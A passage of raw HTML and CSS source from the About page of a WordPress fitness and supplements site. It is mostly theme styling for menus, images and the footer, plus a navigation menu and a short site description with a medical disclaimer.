2593                .tdi_30 .td-subcat-more .tdb-menu-more-subicon-svg svg *{
2594                    fill: #ffffff;
2595                }.tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg,
2596                .tdi_30 .tdb-menu > li .tdb-menu-sep-svg svg *,
2597                .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg,
2598                .tdi_30 .tdb-menu-items-dropdown .tdb-menu-sep-svg svg *{
2599                    fill: #ffffff;
2600                }.tdi_30 .td-subcat-more .tdb-menu-more-icon-svg,
2601                .tdi_30 .td-subcat-more .tdb-menu-more-icon-svg *{
2602                    fill: #ffffff;
2603                }.tdi_30 .tdb-menu > li > a,
2604                .tdi_30 .td-subcat-more,
2605                .tdi_30 .td-subcat-more > .tdb-menu-item-text{
2606                    font-family:Noto Sans !important;font-size:15px !important;font-weight:400 !important;text-transform:none !important;
2607                }.tdi_30 .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon,
2608                .tdi_30 .td-pulldown-filter-list .tdb-menu-item > a .tdb-sub-menu-icon{
2609                    right: 0;
2610                
2611                    margin-top: 1px;
2612                }.tdi_30 .tdb-menu .tdb-normal-menu ul,
2613                .tdi_30 .td-pulldown-filter-list,
2614                .tdi_30 .td-pulldown-filter-list .sub-menu{
2615                    background-color: #ffffff;
2616                
2617                    box-shadow:  1px 1px 4px 0px rgba(0,0,0,0.1);
2618                }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a,
2619                .tdi_30 .td-pulldown-filter-list li a,
2620                .tdi_30 .td-pulldown-filter-list .sub-menu li a{
2621                    background-color: rgba(255,255,255,0);
2622                }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a,
2623                .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a,
2624                .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a{
2625                    color: #333333;
2626                }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg,
2627                .tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a .tdb-sub-menu-icon-svg svg *,
2628                .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg,
2629                .tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li a .tdb-sub-menu-icon-svg svg *{
2630                    fill: #333333;
2631                }.tdi_30 .tdb-menu .tdb-normal-menu ul .tdb-menu-item > a,
2632                .tdi_30 .td-pulldown-filter-list li a{
2633                    font-family:Noto Sans !important;font-size:13px !important;font-weight:600 !important;
2634                }.tdi_30:not(.tdb-mm-align-screen) .tdb-mega-menu .sub-menu,
2635                .tdi_30 .tdb-mega-menu .sub-menu > li{
2636                    max-width: 1460px !important;
2637                }.tdi_30 .tdb-mega-menu .tdb_header_mega_menu{
2638                    margin-left: 0;
2639                }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{
2640					border-width: 0px;
2641				
2642					box-shadow:  0px 20px 35px 0px rgba(0,0,0,0.15);
2643				}@media (max-width: 1140px) {
2644                  .tdb-menu .tdb-mega-menu .sub-menu > li {
2645                    width: 100% !important;
2646                  }
2647                }
2648
2649/* landscape */
2650@media (min-width: 1019px) and (max-width: 1140px){
2651.tdi_30 .tdb-menu > li{
2652                    margin-right: 15px;
2653                }.tdi_30 .tdb-menu > li:last-child{
2654                    margin-right: 0;
2655                }.tdi_30 .tdb-menu-items-dropdown{
2656                    margin-left: 15px;
2657                }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{
2658                    margin-left: 0;
2659                }.tdi_30 .tdb-menu .tdb-normal-menu ul,
2660                .tdi_30 .td-pulldown-filter-list,
2661                .tdi_30 .td-pulldown-filter-list .sub-menu{
2662                    box-shadow:  0px 10px 15px 0px rgba(0,0,0,0.1);
2663                }.tdi_30 .tdb-menu .tdb-mega-menu .sub-menu > li{
2664					box-shadow:  0px 15px 30px 0px rgba(0,0,0,0.15);
2665				}
2666}
2667
2668/* portrait */
2669@media (min-width: 768px) and (max-width: 1018px){
2670.tdi_30 .tdb-menu > li{
2671                    margin-right: 8px;
2672                }.tdi_30 .tdb-menu > li:last-child{
2673                    margin-right: 0;
2674                }.tdi_30 .tdb-menu-items-dropdown{
2675                    margin-left: 8px;
2676                }.tdi_30 .tdb-menu-items-empty + .tdb-menu-items-dropdown{
2677                    margin-left: 0;
2678                }.tdi_30 .tdb-menu > li > a,
2679                .tdi_30 .td-subcat-more{
2680                    padding: 0 2px;
2681                }.tdi_30 .tdb-menu > li > a,
2682                .tdi_30 .td-subcat-more,
2683                .tdi_30 .td-subcat-more > .tdb-menu-item-text{
2684                    font-family:Noto Sans !important;font-size:13px !important;font-weight:400 !important;text-transform:none !important;
2685                }
2686}
2687</style>
2688<style>
2689.tdi_30 .tdb-menu > li.current-menu-item > a,
2690				.tdi_30 .tdb-menu > li.current-menu-ancestor > a,
2691				.tdi_30 .tdb-menu > li.current-category-ancestor > a,
2692				.tdi_30 .tdb-menu > li:hover > a,
2693				.tdi_30 .tdb-menu > li.tdb-hover > a,
2694				.tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more{
2695					color: #22b573;
2696				}.tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg,
2697				.tdi_30 .tdb-menu > li.current-menu-item > a .tdb-sub-menu-icon-svg svg *,
2698				.tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg,
2699				.tdi_30 .tdb-menu > li.current-menu-ancestor > a .tdb-sub-menu-icon-svg svg *,
2700				.tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg,
2701				.tdi_30 .tdb-menu > li.current-category-ancestor > a .tdb-sub-menu-icon-svg svg *,
2702				.tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg,
2703				.tdi_30 .tdb-menu > li:hover > a .tdb-sub-menu-icon-svg svg *,
2704				.tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg,
2705				.tdi_30 .tdb-menu > li.tdb-hover > a .tdb-sub-menu-icon-svg svg *,
2706				.tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg,
2707				.tdi_30 .tdb-menu-items-dropdown:hover .td-subcat-more .tdb-menu-more-icon-svg svg *{
2708					fill: #22b573;
2709				}.tdi_30 .tdb-menu > li > a:after,
2710				.tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{
2711					background-color: rgba(198,133,104,0.24);
2712				
2713					height: 2px;
2714				
2715					bottom: 11px;
2716				}
2717
2718/* landscape */
2719@media (min-width: 1019px) and (max-width: 1140px){
2720.tdi_30 .tdb-menu > li > a:after,
2721				.tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{
2722					height: 6px;
2723				}
2724}
2725
2726/* portrait */
2727@media (min-width: 768px) and (max-width: 1018px){
2728.tdi_30 .tdb-menu > li > a:after,
2729				.tdi_30 .tdb-menu-items-dropdown .td-subcat-more:after{
2730					height: 4px;
2731				
2732					bottom: 16px;
2733				}
2734}
2735</style>
2736<style>
2737.tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-item > a,
2738				.tdi_30 .tdb-menu ul .tdb-normal-menu.current-menu-ancestor > a,
2739				.tdi_30 .tdb-menu ul .tdb-normal-menu.current-category-ancestor > a,
2740				.tdi_30 .tdb-menu ul .tdb-normal-menu.tdb-hover > a,
2741				.tdi_30 .tdb-menu ul .tdb-normal-menu:hover > a,
2742				.tdi_30 .tdb-menu-items-dropdown .td-pulldown-filter-list li:hover > a{
2743					background-color: rgba(255,255,255,0);
2744				}
2745</style><div id=tdi_30 class="td_block_inner td-fix-index"><div class="tdb-sub-icon-fake"><i class="tdb-sub-menu-icon td-icon-right-arrow"></i></div><ul id="menu-header-menu-1" class="tdb-block-menu tdb-menu tdb-menu-items-visible"><li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-1260 current_page_item tdb-cur-menu-item menu-item-first tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1269">
2745<a href="https://thedailypump.com/about/"><div class="tdb-menu-item-text">About</div></a></li>
2746<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1274"><a href="https://thedailypump.com/category/fitness/"><div class="tdb-menu-item-text">Fitness</div></a></li>
2747<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1270"><a href="https://thedailypump.com/category/nutrition-and-supplements/"><div class="tdb-menu-item-text">Supplements</div></a></li>
2748<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1272"><a href="https://thedailypump.com/category/weight-loss/"><div class="tdb-menu-item-text">Weight Loss</div></a></li>
2749<li class="menu-item menu-item-type-taxonomy menu-item-object-category tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1271"><a href="https://thedailypump.com/category/videos/"><div class="tdb-menu-item-text">Videos</div></a></li>
2750<li class="menu-item menu-item-type-post_type menu-item-object-page tdb-menu-item-button tdb-menu-item tdb-normal-menu menu-item-1268"><a href="https://thedailypump.com/contact/"><div class="tdb-menu-item-text">Contact</div></a></li>
2751</ul></div></div></div></div></div></div></div></div>                </div>
2752                                <div class="td-header-desktop-sticky-wrap tdc-zone-sticky-invisible tdc-zone-sticky-inactive" style="display: none">
2753                    <div id="tdi_33" class="tdc-zone"><div class="tdc_zone tdi_34  wpb_row td-pb-row" data-sticky-offset="0" >
2754<style scoped>
2755
2756/* custom css */
2757.tdi_34{
2758                    min-height: 0;
2759                }.td-header-desktop-sticky-wrap.td-header-active{
2760                    opacity: 1;
2761                }
2762</style><div id="tdi_35" class="tdc-row"><div class="vc_row tdi_36  wpb_row td-pb-row" >
2763<style scoped>
2764
2765/* custom css */
2766.tdi_36,
2767                .tdi_36 .tdc-columns{
2768                    min-height: 0;
2769                }.tdi_36,
2770				.tdi_36 .tdc-columns{
2771				    display: block;
2772				}.tdi_36 .tdc-columns{
2773				    width: 100%;
2774				}
2775</style><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span12">
2776<style scoped>
2777
2778/* custom css */
2779.tdi_38{
2780                    vertical-align: baseline;
2781                }.tdi_38 > .wpb_wrapper,
2782				.tdi_38 > .wpb_wrapper > .tdc-elements{
2783				    display: block;
2784				}.tdi_38 > .wpb_wrapper > .tdc-elements{
2785				    width: 100%;
2786				}.tdi_38 > .wpb_wrapper > .vc_row_inner{
2787				    width: auto;
2788				}.tdi_38 > .wpb_wrapper{
2789				    width: auto;
2790				    height: auto;
2791				}
2792</style><div class="wpb_wrapper" ></div></div></div></div></div></div>                </div>
2793            </div>
2794                    
2795            <div class="td-main-content-wrap td-main-page-wrap td-container-wrap">
2796                <div class="tdc-content-wrap">
2797                    <div id="tdi_39" class="tdc-zone"><div class="tdc_zone tdi_40  wpb_row td-pb-row"  >
2798<style scoped>
2799
2800/* custom css */
2801.tdi_40{
2802                    min-height: 0;
2803                }
2804</style><div id="tdi_41" class="tdc-row"><div class="vc_row tdi_42  wpb_row td-pb-row" >
2805<style scoped>
2806
2807/* custom css */
2808.tdi_42,
2809                .tdi_42 .tdc-columns{
2810                    min-height: 0;
2811                }.tdi_42,
2812				.tdi_42 .tdc-columns{
2813				    display: block;
2814				}.tdi_42 .tdc-columns{
2815				    width: 100%;
2816				}
2817</style><div class="vc_column tdi_44  wpb_column vc_column_container tdc-column td-pb-span12">
2818<style scoped>
2819
2820/* custom css */
2821.tdi_44{
2822                    vertical-align: baseline;
2823                }.tdi_44 > .wpb_wrapper,
2824				.tdi_44 > .wpb_wrapper > .tdc-elements{
2825				    display: block;
2826				}.tdi_44 > .wpb_wrapper > .tdc-elements{
2827				    width: 100%;
2828				}.tdi_44 > .wpb_wrapper > .vc_row_inner{
2829				    width: auto;
2830				}.tdi_44 > .wpb_wrapper{
2831				    width: auto;
2832				    height: auto;
2833				}
2834</style><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_single_image td_block_wrap td-no-img-custom-url td-animation-stack td_block_wrap vc_single_image tdi_45  td-single-image- td-pb-border-top td_block_template_1 "  data-td-block-uid="tdi_45"><a 
2835			class="td_single_image_bg td-lazy-img" 
2836			data-type="css_image" 
2837			data-img-url="https://thedailypump.com/wp-content/uploads/2020/05/kindpng_597665.png"  
2838			href="#"  ></a>
2839<style>
2840/* custom css */
2841.td_block_single_image.td-image-video-modal{
2842                  cursor: pointer;
2843                }.td_block_single_image a{
2844                  display: block;
2845                }.td_block_single_image.td-no-img-custom-url a{
2846                  pointer-events: none;
2847                  cursor: default;
2848                }.vc_single_image a{
2849                  position: relative;
2850                
2851                  width: 100%;
2852                  display: block;
2853                  background-size: cover;
2854                }.td-single-image-style-rounded a,
2855                .td-single-image-style-rounded a:before,
2856                .td-single-image-style-rounded a:after{
2857                  border-radius: 4px;
2858                }.td-single-image-style-border,
2859                .td-single-image-style-round-border,
2860                .td-single-image-style-circle-border,
2861                .td-single-image-style-outline,
2862                .td-single-image-style-bordered-shadow,
2863                .td-single-image-style-round-outline,
2864                .td-single-image-style-round-border-shadow,
2865                .td-single-image-style-circle-outline,
2866                .td-single-image-style-circle-border-shadow{
2867                  margin-bottom: 22px;
2868                  background-color: #EBEBEB;
2869                }.td-single-image-style-border,
2870                .td-single-image-style-round-border,
2871                .td-single-image-style-circle-border{
2872                  padding: 6px;
2873                }.td-single-image-style-outline,
2874                .td-single-image-style-bordered-shadow,
2875                .td-single-image-style-round-outline,
2876                .td-single-image-style-round-border-shadow,
2877                .td-single-image-style-circle-outline,
2878                .td-single-image-style-circle-border-shadow{
2879                  padding: 1px;
2880                }.td-single-image-style-outline a:before,
2881                .td-single-image-style-bordered-shadow a:before,
2882                .td-single-image-style-round-outline a:before,
2883                .td-single-image-style-round-border-shadow a:before,
2884                .td-single-image-style-circle-outline a:before,
2885                .td-single-image-style-circle-border-shadow a:before,
2886                .td-single-image-style-outline a:after,
2887                .td-single-image-style-bordered-shadow a:after,
2888                .td-single-image-style-round-outline a:after,
2889                .td-single-image-style-round-border-shadow a:after,
2890                .td-single-image-style-circle-outline a:after,
2891                .td-single-image-style-circle-border-shadow a:after{
2892                  content: '';
2893                  position: absolute;
2894                  top: 0;
2895                  left: 0;
2896                  width: 100%;
2897                  height: 100%;
2898                }.td-single-image-style-outline a:after,
2899                .td-single-image-style-bordered-shadow a:after,
2900                .td-single-image-style-round-outline a:after,
2901                .td-single-image-style-round-border-shadow a:after,
2902                .td-single-image-style-circle-outline a:after,
2903                .td-single-image-style-circle-border-shadow a:after{
2904                  color: #fff;
2905                  -webkit-box-shadow: inset 0px 0px 0px 6px;
2906                  box-shadow: inset 0px 0px 0px 6px;
2907                }.td-single-image-style-outline a:before,
2908                .td-single-image-style-bordered-shadow a:before,
2909                .td-single-image-style-round-outline a:before,
2910                .td-single-image-style-round-border-shadow a:before,
2911                .td-single-image-style-circle-outline a:before,
2912                .td-single-image-style-circle-border-shadow a:before{
2913                  color: #EBEBEB;
2914                  -webkit-box-shadow: inset 0px 0px 0px 7px;
2915                  box-shadow: inset 0px 0px 0px 7px;
2916                }.td-single-image-style-shadow a,
2917                .td-single-image-style-bordered-shadow a,
2918                .td-single-image-style-round-shadow a,
2919                .td-single-image-style-round-border-shadow a,
2920                .td-single-image-style-circle-shadow a,
2921                .td-single-image-style-circle-border-shadow a{
2922                  -webkit-box-shadow: 0 0 6px rgba(0, 0, 0, 0.1);
2923                  box-shadow: 0 0 6px rgba(0, 0, 0, 0.1);
2924                }.td-single-image-style-3d-shadow{
2925                  position: relative;
2926                }.td-single-image-style-3d-shadow:before,
2927                .td-single-image-style-3d-shadow:after{
2928                  content: '';
2929                  position: absolute;
2930                  bottom: 0;
2931                  height: 30%;
2932                  -webkit-box-shadow: 0 15px 10px rgba(0, 0, 0, 0.6);
2933                  box-shadow: 0 15px 10px rgba(0, 0, 0, 0.6);
2934                  z-index: 0;
2935                }.td-single-image-style-3d-shadow:before{
2936                  left: 5px;
2937                  right: 50%;
2938                  -webkit-transform: skewY(-6deg);
2939                  transform: skewY(-6deg);
2940                  -webkit-transform-origin: 0 0;
2941                  transform-origin: 0 0;
2942                }.td-single-image-style-3d-shadow:after{
2943                  left: 50%;
2944                  right: 5px;
2945                  -webkit-transform: skewY(6deg);
2946                  transform: skewY(6deg);
2947                  -webkit-transform-origin: 100% 0;
2948                  transform-origin: 100% 0;
2949                }.td-single-image-style-3d-shadow a{
2950                  z-index: 1;
2951                }.td-single-image-style-round,
2952                .td-single-image-style-round-border,
2953                .td-single-image-style-round-outline,
2954                .td-single-image-style-round-shadow,
2955                .td-single-image-style-round-border-shadow,
2956                .td-single-image-style-circle,
2957                .td-single-image-style-circle-border,
2958                .td-single-image-style-circle-outline,
2959                .td-single-image-style-circle-shadow,
2960                .td-single-image-style-circle-border-shadow{
2961                  border-radius: 50%;
2962                }.td-single-image-style-round a,
2963                .td-single-image-style-round-border a,
2964                .td-single-image-style-round-outline a,
2965                .td-single-image-style-round-shadow a,
2966                .td-single-image-style-round-border-shadow a,
2967                .td-single-image-style-circle a,
2968                .td-single-image-style-circle-border a,
2969                .td-single-image-style-circle-outline a,
2970                .td-single-image-style-circle-shadow a,
2971                .td-single-image-style-circle-border-shadow a,
2972                .td-single-image-style-round a:before,
2973                .td-single-image-style-round-border a:before,
2974                .td-single-image-style-round-outline a:before,
2975                .td-single-image-style-round-shadow a:before,
2976                .td-single-image-style-round-border-shadow a:before,
2977                .td-single-image-style-circle a:before,
2978                .td-single-image-style-circle-border a:before,
2979                .td-single-image-style-circle-outline a:before,
2980                .td-single-image-style-circle-shadow a:before,
2981                .td-single-image-style-circle-border-shadow a:before,
2982                .td-single-image-style-round a:after,
2983                .td-single-image-style-round-border a:after,
2984                .td-single-image-style-round-outline a:after,
2985                .td-single-image-style-round-shadow a:after,
2986                .td-single-image-style-round-border-shadow a:after,
2987                .td-single-image-style-circle a:after,
2988                .td-single-image-style-circle-border a:after,
2989                .td-single-image-style-circle-outline a:after,
2990                .td-single-image-style-circle-shadow a:after,
2991                .td-single-image-style-circle-border-shadow a:after{
2992                  border-radius: 50%;
2993                }.td-single-image-style-round-outline a:before,
2994                .td-single-image-style-round-border-shadow a:before,
2995                .td-single-image-style-circle-outline a:before,
2996                .td-single-image-style-circle-border-shadow a:before,
2997                .td-single-image-style-round-outline a:before:before,
2998                .td-single-image-style-round-border-shadow a:before:before,
2999                .td-single-image-style-circle-outline a:before:before,
3000                .td-single-image-style-circle-border-shadow a:before:before,
3001                .td-single-image-style-round-outline a:after:before,
3002                .td-single-image-style-round-border-shadow a:after:before,
3003                .td-single-image-style-circle-outline a:after:before,
3004                .td-single-image-style-circle-border-shadow a:after:before,
3005                .td-single-image-style-round-outline a:after,
3006                .td-single-image-style-round-border-shadow a:after,
3007                .td-single-image-style-circle-outline a:after,
3008                .td-single-image-style-circle-border-shadow a:after,
3009                .td-single-image-style-round-outline a:before:after,
3010                .td-single-image-style-round-border-shadow a:before:after,
3011                .td-single-image-style-circle-outline a:before:after,
3012                .td-single-image-style-circle-border-shadow a:before:after,
3013                .td-single-image-style-round-outline a:after:after,
3014                .td-single-image-style-round-border-shadow a:after:after,
3015                .td-single-image-style-circle-outline a:after:after,
3016                .td-single-image-style-circle-border-shadow a:after:after{
3017                  border-radius: 50%;
3018                }.td-single-image-style-circle a,
3019                .td-single-image-style-circle-border a,
3020                .td-single-image-style-circle-outline a,
3021                .td-single-image-style-circle-shadow a,
3022                .td-single-image-style-circle-border-shadow a{
3023                  height: 0;
3024                  padding-bottom: 100%;
3025                }.tdi_45 .td_single_image_bg{
3026					height: 400px;
3027					padding-bottom: 0;
3028				
3029                background-repeat: no-repeat;
3030				
3031                background-position: center top;
3032				}.tdi_45:hover .td_single_image_bg:before{
3033                    opacity: 0;
3034                }@media (max-width: 767px) {
3035                  .td-stretch-content .td_block_single_image {
3036                    margin-right: -20px;
3037                    margin-left: -20px;
3038                  }
3039                }@media (max-width: 767px) {
3040                  .td-single-image-style-border,
3041                  .td-single-image-style-round-border,
3042                  .td-single-image-style-circle-border,
3043                  .td-single-image-style-outline,
3044                  .td-single-image-style-bordered-shadow,
3045                  .td-single-image-style-round-outline,
3046                  .td-single-image-style-round-border-shadow,
3047                  .td-single-image-style-circle-outline,
3048                  .td-single-image-style-circle-border-shadow {
3049                    margin-bottom: 32px;
3050                  }
3051                }
3052</style></div><div class="td_block_wrap td_block_text_with_title tdi_46 tagdiv-type td-pb-border-top td_block_template_2"  data-td-block-uid="tdi_46" >
3053<style>
3054.td_block_template_2.widget > ul > li {
3055                margin-left: 0 !important;
3056            }
3057            
3058            .td_block_template_2 .td-block-title {
3059                font-size: 17px;
3060                font-weight: 500;
3061                margin-top: 0;
3062                margin-bottom: 16px;
3063                line-height: 31px;
3064                text-align: left;
3065            }
3066            .td_block_template_2 .td-block-title > * {
3067                color: #000;
3068            }
3069            .td_block_template_2 .td-related-title a {
3070                padding: 0 20px 0 0;
3071            }
3072            @media (max-width: 767px) {
3073                .td_block_template_2 .td-related-title a {
3074                    font-size: 15px;
3075                }
3076            }
3077            .td_block_template_2 .td-related-title .td-cur-simple-item {
3078                color: #4db2ec;
3079            }
3080</style>
3081<style>
3082/* custom css */
3083.td_block_text_with_title{
3084                  margin-bottom: 44px;
3085                  -webkit-transform: translateZ(0);
3086                  transform: translateZ(0);
3087                }.td_block_text_with_title p:last-child{
3088                  margin-bottom: 0;
3089                }
3090</style><div class="td-block-title-wrap"><h4 class="td-block-title"><span class="td-pulldown-size">About</span></h4></div><div class="td_mod_wrap td-fix-index"><div class="td-main-content-wrap td-main-page-wrap td-container-wrap">
3091<div class="tdc-content-wrap">TheDailiyPump.com brings you tips to get the best results from your bodybuilding workouts. The weight loss tips, protein powder and various supplements included in the contents and all other information differ from person to person, but are prepared to benefit you. However, it should not be forgotten that this information should never be used for diagnosis and treatment purposes for diseases and other problems. Articles, only the authors’ knowledge, the transfer of experiences and ideas.</div>
3092</div>
3093</div></div></div></div></div></div></div></div>                </div>
3094                            </div> <!-- /.td-main-content-wrap -->
3095
3096
3097            
3098
3099    <div class="td-footer-template-wrap" style="position: relative">
3100                <div class="td-footer-wrap ">
3101            <div id="tdi_47" class="tdc-zone"><div class="tdc_zone tdi_48  wpb_row td-pb-row"  >
3102<style scoped>
3103
3104/* custom css */
3105.tdi_48{
3106                    min-height: 0;
3107                }
3108</style><div id="tdi_49" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_50  wpb_row td-pb-row tdc-element-style" >
3109<style scoped>
3110
3111/* custom css */
3112.tdi_50,
3113                .tdi_50 .tdc-columns{
3114                    min-height: 0;
3115                }.tdi_50,
3116				.tdi_50 .tdc-columns{
3117				    display: block;
3118				}.tdi_50 .tdc-columns{
3119				    width: 100%;
3120				}
3121/* inline tdc_css att */
3122
3123.tdi_50{
3124position:relative;
3125}
3126
3127.tdi_50 .td_block_wrap{ text-align:left }
3128
3129</style>
3130<div class="tdi_49_rand_style td-element-style" ><style>
3131.tdi_49_rand_style{
3132background-color:#e8efef !important;
3133}
3134 </style></div><div class="vc_column tdi_52  wpb_column vc_column_container tdc-column td-pb-span12">
3135<style scoped>
3136
3137/* custom css */
3138.tdi_52{
3139                    vertical-align: baseline;
3140                }.tdi_52 > .wpb_wrapper,
3141				.tdi_52 > .wpb_wrapper > .tdc-elements{
3142				    display: block;
3143				}.tdi_52 > .wpb_wrapper > .tdc-elements{
3144				    width: 100%;
3145				}.tdi_52 > .wpb_wrapper > .vc_row_inner{
3146				    width: auto;
3147				}.tdi_52 > .wpb_wrapper{
3148				    width: auto;
3149				    height: auto;
3150				}
3151</style><div class="wpb_wrapper" ><div class="wpb_wrapper td_block_separator td_block_wrap vc_separator tdi_54  td_separator_solid td_separator_center"><span style="border-color:#dce2e5;border-width:1px;width:100%;"></span>
3152<style scoped>
3153
3154/* custom css */
3155.td_block_separator{
3156                  width: 100%;
3157                  align-items: center;
3158                  margin-bottom: 38px;
3159                  padding-bottom: 10px;
3160                }.td_block_separator span{
3161                  position: relative;
3162                  display: block;
3163                  margin: 0 auto;
3164                  width: 100%;
3165                  height: 1px;
3166                  border-top: 1px solid #EBEBEB;
3167                }.td_separator_align_left span{
3168                  margin-left: 0;
3169                }.td_separator_align_right span{
3170                  margin-right: 0;
3171                }.td_separator_dashed span{
3172                  border-top-style: dashed;
3173                }.td_separator_dotted span{
3174                  border-top-style: dotted;
3175                }.td_separator_double span{
3176                  height: 3px;
3177                  border-bottom: 1px solid #EBEBEB;
3178                }.td_separator_shadow > span{
3179                  position: relative;
3180                  height: 20px;
3181                  overflow: hidden;
3182                  border: 0;
3183                  color: #EBEBEB;
3184                }.td_separator_shadow > span > span{
3185                  position: absolute;
3186                  top: -30px;
3187                  left: 0;
3188                  right: 0;
3189                  margin: 0 auto;
3190                  height: 13px;
3191                  width: 98%;
3192                  border-radius: 100%;
3193                }html :where([style*='border-width']){
3194                    border-style: none;
3195                }
3196/* inline tdc_css att */
3197
3198.tdi_54{
3199margin-bottom:0px !important;
3200}
3201
3202</style></div></div></div></div></div><div id="tdi_55" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_56  wpb_row td-pb-row tdc-element-style" >
3203<style scoped>
3204
3205/* custom css */
3206.tdi_56,
3207                .tdi_56 .tdc-columns{
3208                    min-height: 0;
3209                }.tdi_56,
3210				.tdi_56 .tdc-columns{
3211				    display: block;
3212				}.tdi_56 .tdc-columns{
3213				    width: 100%;
3214				}
3215/* inline tdc_css att */
3216
3217.tdi_56{
3218padding-top:80px !important;
3219padding-bottom:80px !important;
3220position:relative;
3221}
3222
3223.tdi_56 .td_block_wrap{ text-align:left }
3224
3225/* landscape */
3226@media (min-width: 1019px) and (max-width: 1140px)
3227{
3228.tdi_56{
3229padding-top:50px !important;
3230padding-bottom:60px !important;
3231}
3232}
3233
3234/* portrait */
3235@media (min-width: 768px) and (max-width: 1018px)
3236{
3237.tdi_56{
3238padding-top:30px !important;
3239padding-bottom:40px !important;
3240}
3241}
3242
3243/* phone */
3244@media (max-width: 767px)
3245{
3246.tdi_56{
3247padding-top:30px !important;
3248padding-right:10px !important;
3249padding-bottom:60px !important;
3250padding-left:10px !important;
3251}
3252}
3253
3254</style>
3255<div class="tdi_55_rand_style td-element-style" ><style>
3256.tdi_55_rand_style{
3257background-color:#e8efef !important;
3258}
3259 </style></div><div class="vc_column tdi_58  wpb_column vc_column_container tdc-column td-pb-span3">
3260<style scoped>
3261
3262/* custom css */
3263.tdi_58{
3264                    vertical-align: baseline;
3265                }.tdi_58 > .wpb_wrapper,
3266				.tdi_58 > .wpb_wrapper > .tdc-elements{
3267				    display: block;
3268				}.tdi_58 > .wpb_wrapper > .tdc-elements{
3269				    width: 100%;
3270				}.tdi_58 > .wpb_wrapper > .vc_row_inner{
3271				    width: auto;
3272				}.tdi_58 > .wpb_wrapper{
3273				    width: auto;
3274				    height: auto;
3275				}
3276/* inline tdc_css att */
3277
3278.tdi_58{
3279padding-right:130px !important;
3280width:34% !important;
3281}
3282
3283/* landscape */
3284@media (min-width: 1019px) and (max-width: 1140px)
3285{
3286.tdi_58{
3287padding-right:0px !important;
3288width:30% !important;
3289}
3290}
3291
3292/* portrait */
3293@media (min-width: 768px) and (max-width: 1018px)
3294{
3295.tdi_58{
3296padding-right:20px !important;
3297width:34% !important;
3298}
3299}
3300
3301/* phone */
3302@media (max-width: 767px)
3303{
3304.tdi_58{
3305margin-bottom:40px !important;
3306padding-right:0px !important;
3307width:100% !important;
3308}
3309}
3310
3311</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_59 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_59" >
3312<style>
3313
3314/* inline tdc_css att */
3315
3316/* phone */
3317@media (max-width: 767px)
3318{
3319.tdi_59{
3320justify-content:center !important;
3321text-align:center !important;
3322}
3323}
3324
3325/* landscape */
3326@media (min-width: 1019px) and (max-width: 1140px)
3327{
3328.tdi_59{
3329margin-left:-5px !important;
3330}
3331}
3332
3333</style>
3334<style>
3335/* custom css */
3336.tdi_59{
3337                    display: inline-block;
3338                }.tdi_59 .tdb-logo-a,
3339                .tdi_59 h1{
3340                   align-items: flex-start;
3341                
3342                    justify-content: flex-start;
3343                }.tdi_59 .tdb-logo-svg-wrap{
3344                    display: block;
3345                }.tdi_59 .tdb-logo-svg-wrap + .tdb-logo-img-wrap{
3346                    display: none;
3347                }.tdi_59 .tdb-logo-text-tagline{
3348                    margin-top: 0;
3349                    margin-left: 8px;
3350                
3351                    display: none;
3352                
3353                    color: #333333;
3354                
3355                    font-family:Noto Sans !important;font-size:26px !important;text-transform:capitalize !important;letter-spacing:-0.3px !important;;
3356                }.tdi_59 .tdb-logo-text-title{
3357                    display: none;
3358                
3359                    color: #333333;
3360                
3361                    font-family:Bree Serif !important;font-size:30px !important;line-height:1 !important;font-weight:500 !important;text-transform:capitalize !important;;
3362                }.tdi_59 .tdb-logo-text-wrap{
3363                    flex-direction: row;
3364                    align-items: baseline;
3365                }.tdi_59 .tdb-logo-icon-svg svg{
3366                    width: 22px;
3367                }.tdi_59 .tdb-logo-icon{
3368                    margin-right: 10px;
3369                
3370                    top: 5px;
3371                
3372                    display: block;
3373                
3374                    color: #333333;
3375                }.tdi_59 .tdb-logo-icon:last-child{
3376                    margin-right: 0;
3377                }.tdi_59 .tdb-logo-icon-svg svg,
3378                .tdi_59 .tdb-logo-icon-svg svg *{
3379                    fill: #333333;
3380                }
3381
3382/* landscape */
